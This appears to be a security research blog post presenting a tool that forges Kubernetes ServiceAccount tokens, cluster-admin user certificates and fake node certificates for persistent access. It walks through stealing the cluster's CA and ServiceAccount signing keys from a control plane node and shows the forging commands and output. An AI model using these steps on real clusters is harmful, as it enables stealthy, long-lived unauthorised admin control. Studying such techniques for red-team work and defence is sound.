Kubernetes Golden Tickets

Inspired by Kerberos Golden Tickets, I researched what would be necessary to maintain long-term access into a Kubernetes cluster–effectively how to craft Kubernetes Golden Tickets. This research yielded the Kubernetes Spoofilizer: a tool which can create arbitrary ServiceAccount tokens, as well as administrative user certificates!

Setup is straightforward: on a compromised Kubernetes cluster, copy the Certificate Authority certificate & key, along with the ServiceAccount key from one of the control plane nodes, and now you can create tokens and user certificates with any level of access. And with any expiration times you want!

Such a method for persistent access is especially attractive against Kubernetes v1.22 and later, as SA tokens transitioned from never having expiration to having an expiration of just one hour.

Setup

As mentioned above, three files are needed from a control plane node; all three typically reside in /etc/kubernetes/pki/: ca.crt, ca.key, and sa.key. Place them in a separate directory, then use Kubernetes Spoofilizer to download a list of all ServiceAccounts:

$ ./k8s_spoofilizer.py --server https://kube-api:6443/ --update-uid-cache

This is the only online operation needed. From this point on, SA tokens and certificates can be forged entirely offline.

ServiceAccount Token Forgery

With the keys and ServiceAccount UIDs obtained, we can now forge tokens for any existing ServiceAccount in the cluster. For example, to create a token for the deployment-controller SA in the kube-system namespace:

$ ./k8s_spoofilizer.py --forge-sa-token kube-system/deployment-controller key_dir/
[+] Found UID in cache for kube-system/deployment-controller: ed0192c9-6764-46c8-9a4d-7210253782dd

Unsigned & unencoded JWT:
{
  "alg": "RS256",
  "kid": ""
}
{
  "aud": [
    "https://kubernetes.default.svc.cluster.local"
  ],
  "exp": 1740257684,
  "iat": 1740254084,
  "iss": "https://kubernetes.default.svc.cluster.local",
  "jti": "7ff720a1-285e-4518-b20f-586a752db523",
  "kubernetes.io": {
    "namespace": "kube-system",
    "serviceaccount": {
      "name": "deployment-controller",
      "uid": "ed0192c9-6764-46c8-9a4d-7210253782dd"
    },
    "nbf": 1740254084,
    "sub": "system:serviceaccount:kube-system:deployment-controller"
  }
}

Forged ServiceAccount token for kube-system/deployment-controller with TTL of 3600 seconds:
eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJhd[...]

[+] This token can be tested by putting it into an environment variable named $TOKEN, then running:
curl https://kube-api:6443/apis/authentication.k8s.io/v1/selfsubjectreviews --cacert key_dir//ca.crt -X POST -H "Content-Type: application/yaml" -H "Authorization: Bearer $TOKEN" -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'

[+] A kubeconfig file has been created in key_dir/kubeconfig_token_kube-system_deployment-controller. Test it with:
kubectl --kubeconfig=key_dir/kubeconfig_token_kube-system_deployment-controller auth whoami

As you can see, the (truncated) token was created in the output above, along with a curl command to test it with. Additionally, an entire kubeconfig file was also generated, allowing us to use the standard kubectl client easily:

$ kubectl --kubeconfig=key_dir/kubeconfig_token_kube-system_deployment-controller auth whoami
ATTRIBUTE                                           VALUE
Username                                            system:serviceaccount:kube-system:deployment-controller
UID                                                 ed0192c9-6764-46c8-9a4d-7210253782dd
Groups                                              [system:serviceaccounts system:serviceaccounts:kube-system system:authenticated]
Extra: authentication.kubernetes.io/credential-id   [JTI=7ff720a1-285e-4518-b20f-586a752db523]

Success!

User Certificate Forgery

We can also forge user certificates with administrative rights. To create a username of kubernetes-admin bound to the cluster-admins role:

$ ./k8s_spoofilizer.py --forge-user-cert cluster-admins/kubernetes-admin key_dir/
Creating a user certificate with a cluster role of cluster-admins and a username of kubernetes-admin...
[...]
Successfully created key_dir/cluster-admins_kubernetes-admin.crt and key_dir/cluster-admins_kubernetes-admin.key!

The certificate can be tested with: curl https://kube-api:6443/apis/authentication.k8s.io/v1/selfsubjectreviews --cacert key_dir/ca.crt --cert key_dir/cluster-admins_kubernetes-admin.crt --key key_dir/cluster-admins_kubernetes-admin.key -X POST -H "Content-Type: application/yaml" -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'

A kubeconfig file has been created in key_dir/kubeconfig_cluster-admins_kubernetes-admin. Test it with: kubectl --kubeconfig=key_dir/kubeconfig_cluster-admins_kubernetes-admin auth whoami

Observe that the output of the auth whoami command shows that we have cluster-admin rights!:

$ kubectl --kubeconfig=key_dir/kubeconfig_cluster-admins_kubernetes-admin auth whoami
ATTRIBUTE                                           VALUE
Username                                            kubernetes-admin
Groups                                              [kubeadm:cluster-admins system:authenticated]
Extra: authentication.kubernetes.io/credential-id   [X509SHA256=103e3f6017b61903bcb394f488a2647bad65e85c2736900fd191602d0efc2f7d]

Node Certificate Forgery

Worker nodes also use certificates to identify themselves to the cluster; these, too, can be forged:

$ ./k8s_spoofilizer.py --forge-node-cert phantomnode key_dir/
Creating a node certificate with a group of system:nodes and a name of phantomnode...
[...]
Successfully created key_dir/node_phantomnode.crt and key_dir/node_phantomnode.key!
[...]
A kubeconfig file has been created in key_dir/kubeconfig_node_phantomnode.
[...]

Now let’s test it:

$ kubectl --kubeconfig=key_dir/kubeconfig_node_phantomnode auth whoami
ATTRIBUTE                                           VALUE
Username                                            system:node:phantomnode
Groups                                              [system:nodes system:authenticated]
Extra: authentication.kubernetes.io/credential-id   [X509SHA256=494e0e18cfa045f7b6782050390a89697d1a0fee7540fa606627fa1a3399bbce]

As you can see, the node name does not need to belong to an existing node in the cluster; Kubernetes v1.32 seems content to treat any node name as valid.

Future Research

Depending on the cluster configuration, nodes typically do not have access to many functions by default. Casual experimentation shows that nodes can enumerate services and runtimeclasses.node.k8s.io objects. However, given that many third-party plugins create their own objects, and sometimes modify permissions, there may be cases where node certificates can access privileged information.

The question of whether node certificates are useful for evading detection is currently open. If anyone discovers some interesting results, please let me know!

Conclusion

The Kubernetes Spoofilizer is a very useful tool for effectively creating Kubernetes Golden Tickets, which allow for long-term, persistent access into a cluster.